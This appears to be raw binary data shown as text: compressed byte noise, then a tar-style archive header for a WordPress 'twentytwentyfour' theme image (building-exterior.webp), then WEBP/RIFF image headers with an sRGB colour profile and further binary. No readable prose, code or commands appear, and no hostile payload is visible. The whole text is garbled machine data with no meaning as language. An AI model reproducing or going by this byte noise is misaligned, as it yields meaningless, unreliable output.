eNC\(>rfG"c=cR8UF9,тTL#W.Di/lTEQ};_\@h;XdWtGGVWc.ϗ1Gj_WSӚs0akJJ$2iCh @Mz1ڡ0.??>Wyc Uh)&* DX|Z1N2ϝu|B=St h{ E3XjVB z@{e}gDǒM mع`?\]Pshs1)組-!$8:E(aD\UTg Kf'NI4Noq~%ѯBmVqMwajo1܈b# t.t.($)(ETvܞ"i+;[,z?2X*\jיp7^_SQpbUxq15\V"dNn }8[!߀#`!dQBhu+0M7mśYW6@z;&͙j#,:ijhќ>߅rܖF uHH:8dC~3bU{ tC/N FqXNu pEJYq@3/p,4w&:o}?M;:1f>< c| V BtZ.h@#qAdvTrDdڬ>McBzVIVirp2k{]# H[1X[ m޵y>SzHC("x=aCwք2P$#MNoPe"r0]@l i 'pd L TpKuǭ, ֎4zq,S:1s;Q^cJ))K\Gځ޼\& aLm^ci`)ss,0 i?5%sDN LJZl ?ILJuƵB?hcc=7C;i52K-#V'r㯭Y=x-@ 0!k%> `,̂ J~-rxV2U贌(XuCF;9X);O'iM1P]_oR<8&uqmY@\T$g*1ߟozrۡV4[+ܒA9ꪊ^oZrFw;cq'>M!Rްͦ U[,gE 9¶Uy<~bؒv;M צ1NiT%RVg:[_o9لpU3,lAک]Vx% -.[fr\H(ˇ)va$R옃N[vMqq7qq\?UeCi` Kq1n$|nvE.MW , 3Z1 V S6AFɎ/aCp{HP ' KXVQUo?7թCDn>/K_Ul\WX t6 JjяlAluc ci)|>1ӝtŔǓs`n=…RY!"@*?,:Ǒ ]ۮcS V"DY`ۨ(kHKpy,?6W:H}=iw-2tZfY󇂞V!lF0IFazan'kFNBΝ= =h #~N%CM=vlW#4fa߱z =̦5=[a_8鲞?CJ3~VتWk ZHh7 ~Aί^@imrɥ2w-3EItzŮ؝qF1~۴X8oQ=dS`hSQO&DxLp4$]=5d.|2lԊY zhAIS]w/~HΩ1*={k)Vpd9lxkPĨvfx{dhu~J*㘃["jGh&a]\FR+LV4oFs N5{#v˟E/g|;d)0o81Nk s֜޽Kh BL̸2iׇLt뢧&gQpڛ h'vʊ hZÉj`(#+lpeP.HŔvun0QGJb2??Ugֿ2)x{"$0.`(X}25!9ߦ - Hj˻4s,Wmʷԓ-1ڌF܎s[?I2X%9"F,JJ/`f]n~ub/s/A_aG4 qC2P̏2>g%OѳSg{ccHc!w ,O#Thu^8J TofRE$Th:k&UaiYJĚ.F^pG\uk uh.y(t_l݀)ZSwCr *rS8$1Wo6 iSaHEx4)s;Y(7ʫ{s)e!i> qs[*`d}@mV,XjnB3-j <: 4^đ"ɣZUaRv#67 S@|)E )Fmi@ ǥ*t:WK\h;y4rZ,9dؾ(|Ȣo C}`31nj>V@gvc(Mt eR;ljL11o Q`EQ+ zT]Ci(/k?&/9f>>T[iU=D~1CkۀΆEKf?o}p3o0('bI@dwc&%Tȗ<ѿB/Q[:;B: SDoB'i7pQ.IСiSDoV6Ҍ~_1&gu ꄍ@c7\kq >Δ c ~E$]QY㏂nT11dpB=eAPH[]PHld c ,}; -jx'!ɤ6FP'[Zh6C:-H ;k`N7~ن~ص);klg;龑X9PU٩ۗ3¿{,W`w*DOxP骞 t+=l_B~Ċf5#^)wYvWxGE <7L4'd~Sc x0l0ڌ»s][ic%RY5uPOe@ gxs1Hd*@(<7L*-d&Ucz4hQ&hV`Aet'i&ܜ*hp`qay 񐄸f &$,υۅPOD؂(ojJC-%ξ>< jm*#fy30HZ>mH8dUnj>Rя˧AQ-ācW%ip1s*wzH C9 d)nϦEK #_DFv pS%tdx(4?h%pcq:&ق GG{,xw3}zy+s؟Iْ8ő!/[Ǿ]Kq9 0zc={.fyn)r=z蹴n EԽgw-1|]VZg$ei'cCsőOX(Fق$GVD]X!l Lq/l `q L|Qk0͍>HΖ!˦3<} Ŧ-P߄nu_`O%F(h4K]MWc- \/B/1}*qQtjsݚ%I˞}BjE8^~_( .waVS (ӗ5•D4X|v۰e(dA- ps6&#aͬ~݊VOHȑ-Wj\NLIoSԚmԜAL<ˁX1~ "IũRppCtyP):52laiɖ7v/)}z6 GkIUAhcN|gK-.O’c' .V:! ޞ4aso+S 7Kk=.$оm"KTʮfxXSM6m9C :J xh.<^xGx)uZ7 bTf- ތHL}'pg vb H;_h1v^1 hNQ ]Is2ͽAc/hMogݎ;k5R.qޖV585 lC+ |c'GbRI[ .{-!l )RIJxOB҄ oi<͓1 aM;5҅HMUCogB8%PKDmϑ(r}vOWoWKҌ78j֎'npt=˸'|{i \8txgWJZCψ;.4UL!xm-/cZ]Pg yN\_ݥ\~ w`J ӢU 7S5p#( kDPMP艚7Pf?+ 񾦤ѲEC#ƫ lXxԲ/i`Sz1_hFzCqMJ N hQ魃|5Id';7PSHZ,jJn`Z6Dof2F?í`D>xXU8:h[P`B`i]FkwgbY&m}W|$nh'z˄mOW]D*L\pW[ZesgsK C1jbsGٷg "U,Ww1"+ֵVH[HSLwz^ݘ-ʹNF3ZCGuߠ(J&2X6~uyঈl>|IK?ďN`h-`r9@z&@XbM1ε~φ ױL[ ae rad?J+?!w:Q CspY^>'\ ~yQ[-cDT8zccqDp-FŢkMilb:FiWvet2t-pqgadQ҄<`&9D*jK.B{2nNh!p. ;,V=J<栍8ljyl(`u;"&Uؿx= H* *#*X-7~+3pT}8TkI|z}#N?-63 W}fB-$=jrx/2, bť&j%}lh1$)<;/!qg}S挑G7ov";_#~~qhId1ޢƍn4='91wғ $.1Xcn~%EVS().xź\ޭm5NB3_ mG*,9~|e$U"z &xlve (tOc%*ҊclbM,nED k&nDž$N6.S]GFV<6D0iab0`ͯ%c:Xrl++7ϒVT-o>/[|>04hx1%θ X{AܲNCI=gޢySs:H k w |dI [ >te \~}_x48>R9-5ϭL" ]etEͺC*s HƾC4=%Il($@ G*[BE L? + iK9n82|Bx7;+*2`a9&'|$ܺެ.UiOQ7 |n2#VM$X{LA`g\a2d^ GU!fR-aul$~3*\$]:RE|QF[qo-\ νC97/Y% mVAG#MG2| iH#v-WTPebG8o.)CҿmpY6?T~)'-qE/\ěN&,"2+.uE؇zY.i0'-H?Co(O َqNǠW5FJw8y$SNL[j#HP)Ψ\-PޯPtxKv 4D,OoYV^ 2 B?SMx"rVɗ/_S`}V{m '+"IKB:_֟,-9~XK ?`dALb #V[fqH,(dZ½+dAu?$ \xw#c\Sgy{.}gēibܛaɧ|V'1%>櫩϶[ǜEN vNOS~$O]Qlp$;V˪`bLgƑLΰfPgJʆ$n;215MqD 2%1Ѩ-ט(1 rGu@Wо% 7gM \8nm',k>rk`gHiEE&FȫN)gi-ǁQV.oFd{ l.!B*"C6M70*DxS6IXs":fj(@irۨ,ku[r2Z3g /20FOu~Rԋ  t|,(NNw^^j)5 )xc !wpAP÷MwpxJ!O UX8#Yu\~Z*Fao= TנMrAߋ)XX(q|o Flx_~ePg [,}V wq5릯QL{pXQ,k*b`}G:R,oUo( inӫHtzyZf$(urk3- ĵ-/F֋_Kiw:2q2@+uhiH̏XAR4K͞،sM%22+2'bW_.j{GF2M2̶$-$9̅QLꑆ+^(K1FIv,Rh4Kamµ#1n)ꦬ@c寴u{nVN_ )kRJ2>PM|;Q(d1u9;t|GֻV v3ACzNsNA2n?=r,k`Wi^E׀HPG0.Y.,ǀaǷurW1OY/L.wZ7n_::eUE}9Vi )X- bNO>5cb k's@ը ԭj՝V{|u53aX.U932k#Rc$Evs_xQ\eQ qpIYe vcGُy B];,kAlFqۋbEQlҜ2>bkRfݍ㋪9%cIq ?1!=_e[@跭hXz'5Hǻ[!&Vc~B3l5/E.r75'qelܔ3(Axtqȶof5BwH| |M /S&z;|붜h[kՄBP{+7[.>↎ m&gɣ>?gnl=Q)3wg,xP-Pemz|ˉ #䊄0,Zz짗&h2_ b3W3JYR<9ǀp 4דGNbh?-BY"6YWy$/ơxRzh< :Npƌ˕hEϘ-/:o׉86D7g0F~zCLdIdJ b٘[n!c}4 -54H4N9UFlcYP֎:% -%`Xޠx!.0IAtw\dP0JWPa<0yKm5lFAe -|(J*Le靻eeLЅh[|owoozHWW ?6lPޚ+/KRV6T>j(";W~ܣM`` ZmdppDmix". A?q+dWbu ! {>K$ $Ȳ@Rk=_iCNv^!aՙqnuY"-e8yp]t 8Nles2H@ ,ё3m9FvL {2N?^,3 >{L)nR6Qknjc*B|m>eo& nEl,1.0]Xyt@3oy4`  8ݟ)ÜhJ쓘4y::@.hCFh KK/2_} C.a.j҉Z@9?-q&)yrB ^0ٶm [x;VᶬlR=`E2v' _?$@.q-$rKM\אPV繎FBrl yis&+yVEe\U4ق|!#?"zCEun®xw6>h>[vGpӐ3LI?kTy$P, ky#MT-zmt68IñaU6r+_nlcXc!Dh g*1dzU}foLӮ{SCQ* q9[7R _1 cnv>-ò)PU:x4VWP]njBfRL0uE@baIZ(l޾ ā65tpWAO}c ع@;E6/:i8(NKaQ r;WŸKGP-}\*տg$ {h)2ĚCPtBl$"Fg_Cr*JrjR5?UGk˱L\4m:zmD۹P7TKH" N3eYOץ0 eDȷ΅UEz3FDTsCcy7Q'8E Il*feQOdNH\aHAnCE/vIr L7>/-Q֩1$MT%z;ӳE'/?i|u ZV0IB8Lk&TS' j8 f~X7jT2Gk m` LJTD_ƺEyBw$KY"yq >17FbBwaMGDrm{~at+c|48*؈!})?55Va*s_wBl- dEW'4!MBcbkhy7: k@h {0]s~au&0 \dn yJnO{.Vfdf\-En@-19"gI]U穸"VUȧ^rvڿU$JxS>\ʏzGL7|.= d8񯳿~Yu)OjzlvO)-r3Ȣ ~vL[bñsz%a1/-lN_ '7mcy`GDil\{bdYuEsQ/eٰ:@wV 4gqN[fiO XI h%[K/1e_ ]. ,&`-L-rUA9O㾲4*9JHNبJM$=,|Taeׯm`z=Uj({#ȅ3&Kjv(y"Eb-i(A1qM?57 >kɃ9lzt :qzsB2,63eyc t7 ] I.р/M썴4pmhʉJ9 g;|o`?1mRf RhU޸-J-B;[))L9Xr`bODqi4z3CIt* {ϣq״ \ߕ@y@fA3 r&r7@\:è2eXT'/ %Б!y<v)u:UC /L oPtK^rG[`;ǰkl z_P,̎LΥ~e=k嶦CVoNWI;Rkדr- !̋KSnM($m3BŦNYYnp;zfG_? gj|a=pyɪL^IAq Ffɘ]Y)msehDt3_>7|'- èSK?YoAH>8ZШ/g:IO1ݭew8 !}8㊌k/8TOacΡ^c̳ pPqPu!GysHBO0?޵Y5P"{dwakK*;.x]z󿕘':r53:1yEy8}Zl6l!4nIf([pjKc7Dz#PCu*cƍ(,hJbz]%D7zņ:A5eJ\ע_H1O?[;+Q&E]M!GihDEnމTxKz"(Ɉ#4(Pe}'瀡XNΚY>Ap˳eASkر$žl#Wk"f*N>8 Ӎ#nMb>.$.1AT'Dj(T3O_{a}rQm#Jn M3ƹ<2ft:>=d$i0Oú3/ΠmP*͡ @ "JiigeL"%dW-DHuc`bjڶѽsz PF4@r95anKjy1t+¥n&PM0E'-rsf(F6Rg7Ub.q)uݠDS1'0e;VK4kEguFD󶐙^V_ԗ 1 P gn?P1"xjLNHQ [r_Sb;`71:]{h+Lif:CO$X]  (x ~IOcij)v5~e~l 2qSx[<Hkn}4zB521rqKu'+^Haӫ)u1!ׯ #IkbR t S5QȳKFuo`]X is ]dgD\46R2gce1Ւ*b Rz]M9_G:#q&{PoZ &qI &*9CڱUF@Sy4$Qμޢ CqHpHO vuoIaL*xFs|'-t,Ӽ:VLBp -vhL i 2JvS1d5I'>o"شYzh?ށ:8B啺)t/Os羸ٳuLJ"<ñmۀE 1\\(.␠EG|-qi P(mN^6ֱm4ߵف_ Ez * lˇ2zu_i'abkYM UD̗=iW,ۣ]7xX!Qz6ٗ+fiMb+ [x &^[= ox?l8|C3ec6߻Q܂ 2#9̣TWM ΁s5_HpE2LNPTN<!r]~,=۰½9b Ʊ@ɎIO0Li1*CKgJFC+\ոIyFd4UT34pyg4cBx%o-WA ~'2^V>Ft*Xek=C:@TqkoJR 79as{DfE`P"7C_$/J;:qχ8TB:XqOv@Z <zѵ;n Cn\}vL> q\~ /lsyVp2n|D:6 w8AB#K @m`_Β")-Oiڥ9wolf~8i9܉B i*(JA*N}86@*h е1ڭl/NlW#LMy+Y|HnRh 1g.(ͱ"#(f(7i&T wqOo˘vZ&.Tk`^*|.+J8p"cq~Ĝru }Kum%:vghY볬I@ϕBMe(,Jo=-RGD(&[E zsDkfhzQS/5*[41 |QZm- + !H^j|@:ngL_j(Bڛd$X3ORcdc4[{OyiK>i8hdGYus69 36V툢=2<:/~84u3QGMljxEKTjf5'IׇW{sb*}ũT o y^d^YǪX#^)j1b/?>\I/c mcr(I 6,aBr ]e)PRD.1VeG̓V%^'!_k-:20Zʾ+$f懵ƖLvCTCse4AqL JVV$f^/'Wpڤa*[<%SJ5g2֎ˍҺt$J $oH'`gaw4)M?16v9qErי9iPRȾLMg><@ԏS#R?=p9]DY~v=ܕxt>u1O9/m1SȼudI "vL6mEDL?y_0gu8~ i٘Uƀ+8Bl;OBwH˚ꢉz0= S RpiCr#j%%rzGI@?fUlVܜOY hfwy-ndӀ Ya 5JG!Ev8hO[U瑾R^aAu&Ok9vOu{V+) dZPn4'$ kvÞAXʜ:{QH7/"#`|XQb%t&l(Tq,:uidޮ۷m&F2-#E^H;ZS<m)F3g J%n-#3z q7qkL"*=D'[x=.dR&2=BP鍘 ] X`|gtfWxzU"fqYaű$>Gh٠p>) apܒx)WX5r{a*tZg`ӫ2c0śx6_r`D1F#.r:/BqKOĦ dr9NA,d VXOH#կ1O!e`1\!`u2M;NI~W:} 47ME _I_kkl'b%+A3)T1a5$` PY/@TB-mxӕB-.}0NHN1`~4|r1d u='Hk'V')sb2D]u|1kRtiZl!w[(j]Ɲ3ţm$&"_iZ4ѭZ _^J^^BE>yθ-dveOVȫmD?"Q-rZ#Q~9ˉߒ~7!|+O(Vj7 0k,P78 TkK^)jsob࢔k('*nn3u$t& jqzf\iL>We h]$~Grsh.yLHE ZU#]$>FX')%}2At?}Mev,$0gsj:a*]AU\-Jvj{# ҷR@ׄBeG9CG{IEI_\p{{,o%ϸ6PR]mx9U m_CS \<ʜcuO033t74[Eq $:_j;lś9eZ.) "4 V*eP8:)5׆QZC+wb:̷ +fί5)S* Z@^6@?fh*`&TvXsThڅh7J<kgQx#+9 R?Γ=Tƽ;-3U 0o(tTZUmg\':_vwZD XrcDy~~Q鋫vOƺ<P!|XdOBX.d'Z)Tc^? Bե6S~wEg]Ѷ^rD{Ѣ?x: 9GoXRY_ 2aWHIč=A'#tœ&yϱ<ڌSwpDCtĘ6UWKnp6WT•9zB+]@22E*H_;UDk5@ H}Z^1Ry@A0ec}YOvqoF; \C܃{>{1y6*<=kv4nB.n6+:;cL!J1ʑg4ӺF klٚjlcK߷H:/΂G͜c@XI'웦i85^6AG-q-ah ЛfZ3) q"*8:$X^o%Lh;)~Bݭf|rJ 1St|ўsnO}zDAwe/Ŀg$lh**G>x)RWISUPY#)?9F %F<#f @1PBa.ygMaG@G=QЋy[~$llHi!RsnD>$i;Ak_q t6k%eͼ|V[L-xZ*B:C~^eĿN:2rZZ hݧ;HmiW*\6Coehp !c AI,atypZAŤd-϶6:#Q;GňL;·u 'x :6b'bH!Zp8|t@Q{[ ý>y6*(/J\(1k7@:F=\!:|X`4`ͶV^]`A 1P9H.*J= E7Bb`GqV b̌{ nC!`wmgqb(U#3JvBDm/yDwHzhҿmx2/2t{IA,_3~{TtԂ%v d&;O`h\L;h+X?TdT@{'2 / E 5Yf*ZQ4xn-־~H;Is0' )ȜiX7w/h.ۊ1|%mdy'0hۃ*PBUWW*}P®b_x(GXm5TEժ=[L>^On zٓ-+E5hZߍBߞ4P#V_IUw"#|F d6!z5H@ =ISuYXR醣m GR1,D0H8_<$*cղsxncoo>B 4۠|`9QBn|c^(2poBjbk0;7.`n--?.tFKFꍀnȞD6X"Bt1-4Ū7m!Hnv\ & @nyy׊̲Gy04 F!.[*yj oOO?.HPD C3|=_:0ǍaV *&͡@e#A|X\L;qGRN5tiTY$AʛɛeڃaKc9a(ü:+#Ӻ X~Y#ˆџpܼc0q8>gH?#:% Y}K9Ibtk5VT /p!0_% [˦XO 36&Ş)_K\]D ޴ڝoVѸ} =#Mۇ*1һ)PZ6Ď<ޙf lf#{rP`s\$RN%V=wj&җǠW8&fy%Wqjg'0?T8 1ix΅ڱ.\q=~j)c#VAsS׽Lx睱},J7B)qT&ֲPZENhr谡hE!kB#a[g|Q La ߌOK.[Nxhgdq%cT%ez=^& ؠ_y^JŊ~[PIES0IL2j@y4/.KȿD9=NPB>#ˠ?n!"I0E?vَ! θy&zOՉRIi]TPVW-<`#,]U>p%Df%_1YȆjʋ/cO: S֙;LF8DIz&ɫ!pnITU_ o[@6ƃo79%>9kC Ny|hU\;Vs$0DM,V4u] AC' Z}ib1nr 9OJ.zKN >.;auP$CY"?q})ܼ5Q11A. es3^BdƄ`Y]|B*PL驍э7Lgݍ{j͎PPʜ14?#ſh!q(}$4'HꂮjM6;-Ha湔u~l/U2̤P ܦ)4 ߴe'7vf\##h ,`ӜD}>x$~;KZƥ}2JeFT)2=UDvw]9 C+&sΔRArNb/g m ;$uJ:A,JdXf̱ɾHҢ(lGND{ђ|3ehuBB7 (S*KVp4'n"k,a$yFdm0e|4.#s%Djy6aBI'R~1 Lx.c '̹%ӭoX`>.ݑ? N`!T9ۮ~Q N pXcf綠qj'GyvQ ιy:QƒTB F~7MiHc3&%sa%gK&d 4/2U&0lڕLHn2Jـ(}fs]d{ݟ1Ljy{}希- >>DiRoe=So[/ Y^]IkTQSo 1,"2}>k'V'䰥 QY9hmsbLt ͺs-ۛ>mOcjko=:^aSqDEqĠ#~5n,Z| X-,ɀFah'Ǝ̪JO2`]d١` 96Yz'G2.`߆(\ҜΩ'VĖFf+|ib0#?ytYP8m[0'UE?I!H 9c7z _ӓ0\kJr~JFӥtی\ D MG;ĦZ'֛TۯA3!aTv@-XNUGggO{S'k@GRx7Zĸ/0z,{ _hkXr+\,iJo&cwyv_AX肚ifqMTKA &q!] mNO3ۀ)؈1_ǖ_yoϑr X"淉l8ɶMjEťNe`VQ@x \tBA]V9"]͆.1YY 2RBEU30jӥǙf!eWm940FCsm6ud,' MV)`)(?OkTޟ)xHKn0Tr}nGW> c;5ֹ}͛XzZ wykPp( yPI`DJ 6G碉v)Ө}h"{YA(2 nH&1<*Slo-t@B@직ʙNg,k^^!MhFP:.h#K"^6Et5br1J5Ml:Š%s'쪄YCL̶l<>9rάGx#` P{b{ُ=I|"$w/'OHf5AhldJUZLlu%甇Zxo8cK`JXdt.3N /vm3ۣc7{oO7Z,P+ͬA.HH7eVmamUhQEtNҌ֛r]*SKAgnPZހFmBy5xJl)wk4h/ sh04\ )s"yXt|7}^ ղl8vsʛ"[HFgyN#%00j[;]@fEfElhP==&y0-rnu)vGyvx"n/ _3a~\;Dr…z+QEjb.b`i]Fj Ya2>TFv9` km'VCVȻ) -;¦P 2K%a@˝#wQVok?ӐaPOGc$_͈AtST8*LR)]'|p8ⱕ1"/ =~u蔻o":/n 2S85Ĉ5 P, .Ԁb`rZ2yZUgʥicsn(zLAjYᆭa??p?)qK@@~Tx3ȯҍʞ%p(FAК J`,i U~(4~fL0NGWz+\ H>Sj5ѻQ!Z} jQѵN?j 'ACy{dY}r~8 j:MN W CBp)IU.ƻ5f-UȸU ﶳ㋇.Qk8 >WO`@&gRxAmL?I[6~X!ԂT97tl`@2lOؠȧRLgo!¾`v`e#ԐQ' tC gaq;>ZDR "\D]cZd{B`]@Kyo/+4Nx5%S= } b\?6(mvH?+pQ7~_K \(1#[V’y!>y#UQ]qm/,E ,@ oG'sBmpu{ d5\mlXbS1f8 ; -Cuoe< -o^sΘ\c/l;.J>d`QRD'\NNb/YtŴڮأP 83hD" 7)Rj6|̬~@`yNF5 }H'#ߦͩIg^d96l`ͫ =k ?e(XSFAu1.╀ 6Lo'V`y,ӣVpIEF3 3Y,'7M~H?T)j eD}qa]l^IXDS ,zr^ smPnŇC4RMDeO5&7Fę7W @kqvCRy]+.lWOK K,cX3(BXkuENLpV ^FqQxfTڐk#Yc$Θ(9P;g$lAd^koC@p #p}"S{_4gcwB#mP?)l`z-yX=3?v!мImD"/jarC[:pt[̅"^[$t:ntWO٧,g@Qoګ`QqǛZ^TDhLƦ8Vl"S!ܝUbc) %.[_%Z@/Z>v/YhZ4kl?H}z~9<3IrR+\Wiw E[ LmtLn:B-Tb?ƤJ'<덑jԪ-.w|R9Э8=#4<1 ѕrxZ^N9ܻ'$aspVI|v bR$5:~}cFXg.ڢ$.늵ؔ^Th+]EvA8)m.ڃ^V$x L$P f?JqF Eja9eb " =YHaҦ}Dʉv|O[ K9 q&3KD-1#c(KAB᮷vH,LŦS@Fn$U*AdDr5M^MBt^eiJyLu>fK61leQ"\]d|pYN>^`y5D$kYb43o=5(Q:"CDH bsH߀[6[6 y'(;-՛av͉'l~AL([ؽSe]@2sgKrz37*HٻM@t3' 7vBl!bP:0RcyQ 9BJ"dZ vcYY1 7DU,0;37;ÀNZe\Fn 6,L?&nUSXOc@:9<+!פfٯg-E9ctg,BWI5)< %qҤWX(o9{.FNX1P@{ǯAҢ5 x*_TxCBcˎv`\82W&d z1)u62 ̜gɍMSQR佪cnu"ƶ`c nmpھx'nӻ.zV,C mSD_S$#z^"j_PIFx0F嚣[Ĵ0F_! ޒ$F䚔TE}Sb2ϹPFh)탥Jmß<' Uf]$;XjQ{7ó'GYf9=#ekOY:?ܡg9DC`U趉܇u34}jE!Z.=&gP0Ԏ]w@*Eu+H̉ԫ'?`H9L\ҩ4[z'HXZ; 0?^QA*YiOQP^?ՄK񸓈~K?٠tԵ_|Ii'2& 9!C&?L<l|Y![(lgrR:0|`_+a6=- Z XpOx~}> *yA#we^+˜4% Q3؀X- N%cBxN4xpQ8aHy8k 8R/x_VD JRu˻vӽje {,r<)$-zz:#F.kH6KuF|:C%ɔɐ jU,oL}` }A*b.])cS/K3ok8M܌EU91CGI~ܘcv[z&){4/gH&b /fH7h;:[*~i+=|i`:W6 ) OH ;DG[oNwTqT{U\8M-S%/_Es ܾ+rW<55*$ ɲ>},PUۍ`d_)O픣 pi!թj},jCc. {+JKkǘ2Y L#y(B( 6D2) +w"nӄ-.dz87mnm~Q^3XQ(w}xg21K.5`];S>(Nq)T y_ϔ8tws./íXdU(Ra/Sl(btbꬠ`E@B:; g&R@vT$փ4!⸽ʪ }ȀD'4 nTީNA,)ܲ\붟%pU;SHQpzP \$̺9ÙAq$6+"A>-.e"V[B^[hp2`$xfP oy#U~ l45ƁMۤ 4cɄG;(|ɰRee[JLfV=i~(${Ϙ>H:G&qbdPak5u~E3kD'q(lV'U.Rd~ma`|lm3k:KWv2Go١F[HQ(wRx}z{޾b#NQwQI åGr<`~WFRnCg7潴w)tujp;wpVrj=OzǫZ03S`$7 ނ.OvMw0*? j&&Gr6x~jݯ=It/i5*w0F] JB b[`7p`9#,r !RsH @7k2kFM DuB=)Ȑ3?'YJyO :DI6aF8W<]S 8l'K6Zx/Pߏ{_;B)mBrp j-qMnP5K͝5c{_Z&z)Iy$jj| {\3>+@P_0CTV~H$Go|?+h%į43z%v #bT&Hd& ˏjf%k8P*n21jv-]5f {$-J@y'br'`bWK2]ndr%Ƙ?P 1;GFWi/ݹ5Sgfφ %f9;8W(jp@}1LGBQg )e4FMmS+JN<WfI`-kNUgE4 G;N_ =G)Lr} @qV SX֧W[bk ~vtaszQR/ (BJdj&P avm"`0֪h'%EWCGYC+qqjzTXKvCj3 aq·ɔC I)xwɾA3)"zNDt:>RvGRSv#.K`y;`j9])sy{hWN'B (nNwHKuJ6=z*s1el:4eUu9= Kypbշ=AQʫ ;/dSx6x\&/|,h)p]a [8f դtğ|3WHLyFwqӖAjްK+ *\۰~uT9rXƤQj"r:cJ>5*rp+vfQ2=YoL>OWET}T+' I{yA_N)LKuz tK^ak(&kRc'U#?Rɼ7g$SȮ0•xJt7XnB"u% n^>^8hc--;;Z->gE]f)h[%`&ݫ=n~*_Si)0\9vbнʀ M> iM'rh;~Z4̌#TN@I&ο{L,m \WK 85|0x6H/M;Wo>8YC*ұqljah)JEuy%^{|Sy+  /\OlIɓpVtE+QZա1ȡLB1VîA4k-2U~B> H;t7# gjK%i7Ӆy%UoMq/S&˩x$5]>XjLzsDǘ)ynσN! ZȘz*ؐ~|]xJlM؈y["z%a׆ eMwQPto-nE̚$nk a}:^w-"G6;r )O79 KxhW@$z'NH2-IʮM3sdĽџ.cⱶR+Y4AK5<Ł+Ih۷H+-Y{ lTȂP_pt@/W@;kϟ;v+i a? #:/:7h-P|ECjSC$C/a+JHuBJ`^J -}W= x\g'*!5΂wx?sӺw\< /Jz ЅJ{7K 5+zz .#l;> :IO2J(]b(,G0.z΍1-{P@$U]mRcaAx%=~(؅\(w.8 Qvq)%=(7.PMыi;pa2}Gʑ>3#<@+~2l %F,aX.ݲ]d|JY׋U EL$ _tVyCu-Ko<`;BJkct6sȟ׀6iJALܥZw?J5/Fn^LSZ_ UbMVi_ccԊ 03AEuδ|7$kl5ͼc\[/)TZ&!/lgR"eU!{e00J&2ۜ2}&ln|B࣋CƑ< ғ,$'H:`0-$BuLr9vpҶ<x"/ʓi,Ŵ,vgZ'"cº!ݫw ci%EpLKkELj2.xێ߂Xd_g C[ !DKjk0%G^5F%Ta^0+#wiN/huMPfi6*dQRΥȏeh]f/ӖۈH~<+:$I>vI:軑ρzfGH6YZ JC|͎UQ$ _G/&ybFäZ b3 S3Um]"S:#DCLz6`#P̈_a]Myesnf|X13#g!D@ ght\t ɮAv(~ΙCںMj>(ƎgOnyEߺ3 7O_J,%~Sl8y{0JE%pk%v-GL"% t$Fτ5kKL@dm~ƘQw BuZ4mrڔƛνxfnQȒq-BYa}m^1nlx p)L싶BkLw]P0To@AգOۏ 5@/Pڐl#Ͽe1cy$d }\y=81[_ Wj@J r èfDUJ9A_HeM0mƊuNu]K@_ƕA7%<|0zV0&7i I7Gf:oAs`,Hz^YX'ѕ P{qaW/wܻ9zC{Џ$a2`C-۬/|-f -PYOko?~ƭBHF28G @Ϳy K=C ^(T(ΜDbYa331ckMՌi&WŹP.N;qcO0IF(Hv1݆]z}T"@_(h?zƩ>9Xyۏ-h!d̛BK$4IOVxfII0*TX+HD1ŽWպ 'jMDq1Vꊉ(ִ9pB8^D;7TDhoeUcS&ٛejv"4&42i`8a Jۅ2bO154*#m!" w)DF ¾7@R-K>ҸbUzlyɅe(qVH=3N-b'uZ%u^V 1e4|׭x5㈏97ƺl;n݅^_'tڜj.}8smP-=DW|C(D!75e:%(R 2nmwPgSJ^Pc 7v-6ZؤL5<`܎ JKA*ˬKxET33 o԰P3'UJR0TRxLXTl*jaw5ʖ֑*6{1J/\()~s6'f5 .;`L,W">ԾÏH؄פ ;# "{U JUbfuA Ax, ھgrt+cj mgBm@s@J:15\o U)@Sep yW8ELuK fZX~?~m2Ww<UPW hYrO.eA[]\ayH>FTz[O?׌v ~(Dgki'.p3Kp\틈odQnb639BWt LЬ(&4mܓ 2m3 XwJq\ݣ?7wTm:z#w,oIgPdDz{V7kA1,R𴈸Uo7W\H>S +& hLe!"0GôàUE3b~3B߇ vb8,{<.}T3LIu鿮܂r8ҠGvrE=")xt#rX^ڦPYft@%=}H{xhG KmP:ı2ȣ`o4Uсy8)3s(%hQK&gFV@jxM*K wy?1Bz{#ѢYY5- +0mӣ~^ΟmΫ`Zքo9j#sL<ІuM -qOcX9q`G'4U| rYӂ].M9RaIH Nx_0COY@<y2G{!Z_L -`:ScIw/>Kn-RS&>:D"x#O\tN!>>J!U[UцT, K..D!ŷ *6 b=R^Q>y:ے϶{0D@}\:o*n1d/p\od`P7 _[sMx8yE3d[[y.)0*0,΃L6Hri 91OLJH`AC4"]ɜlgբܘA9# Kxb 4}g,!qϏ9H!*/RK֞x߶3ߧ|N^Şrhf˃x܊ ๋3_1_~3|u NfO_):A$);m k8񇹬o@LNh8/ѯgm-tcʦƇwtrOs|$%00l(sY5͟VZof 96Ka]%j + (X* 6g=k NX 4ol|oVSD)plߤAĻOFM0IX &YbL,~>u+dShe|Uv4D`YR ꁓ;%xG1=5XMNknmڟ'Uk\畻٣2ڪ݃dhĈ/ZϣTnJK{pʢJF.oe<܎N<ɿYT Xx(kg-@rp:Àd&udK( njN {AW@9&T֌=W B](JvCwh2͎3V_8 cȌ@ Wznj Ex3gT1JJ&])+" 822c$VEߜj<>I:!舔K`Bt M_/OW_84{Cg#_Υ"hePM7FEv[ Bk? r0Ǜ]a,#5݅[af{-Ov&\Vc9ĉ{eֺiV94Ϝ؝_ pT$ "{{s!?bgu ˃'KcvcU3乹wԡzmFJJ]ޝd3cյ9߿8.@4{Wb=RLt<ན w/R0)GP4Fٵq{갥Lz2~A +5Tu+-4.r3ι,- ct҃K&&);JI2{~&"ţ!6ˬaTd=|y=|ݒlt>pr"s)'}$2c+C64=h&-ѿ%w=@qm 4ǬyX^JBłaՏ2Bw|&M`/Fb%ڈt-HޥBai{FVN|tFៜc.ܮ^Vthemes/twentytwentyfour/assets/images/building-exterior.webp000064400000606054152335264760020644 0ustar00RIFF$ WEBPVP8X ICCPlcms@mntrRGB XYZ   5acspAPPL-lcms desc @cprt`6wtptchad,rXYZbXYZgXYZrTRC gTRC bTRC chrm4$dmndX$dmdd|$mluc enUS$GIMP built-in sRGBmluc enUSPublic DomainXYZ -sf32 B%nXYZ o8XYZ $XYZ bparaff Y [chrmT|L&g\mluc enUSGIMPmluc enUSsRGBVP8 ^ *>1C"!! key/b)7vϩ?yo;/'7MO?zo?~[{nޫU^u/d=FS`)x@eG|=L>}k[G/}6?_?A?z??~s_ooo?P~!O?gE__>?OG+oo??Ǯ9O_:ٿ;tO?l? ?jk̿r/W 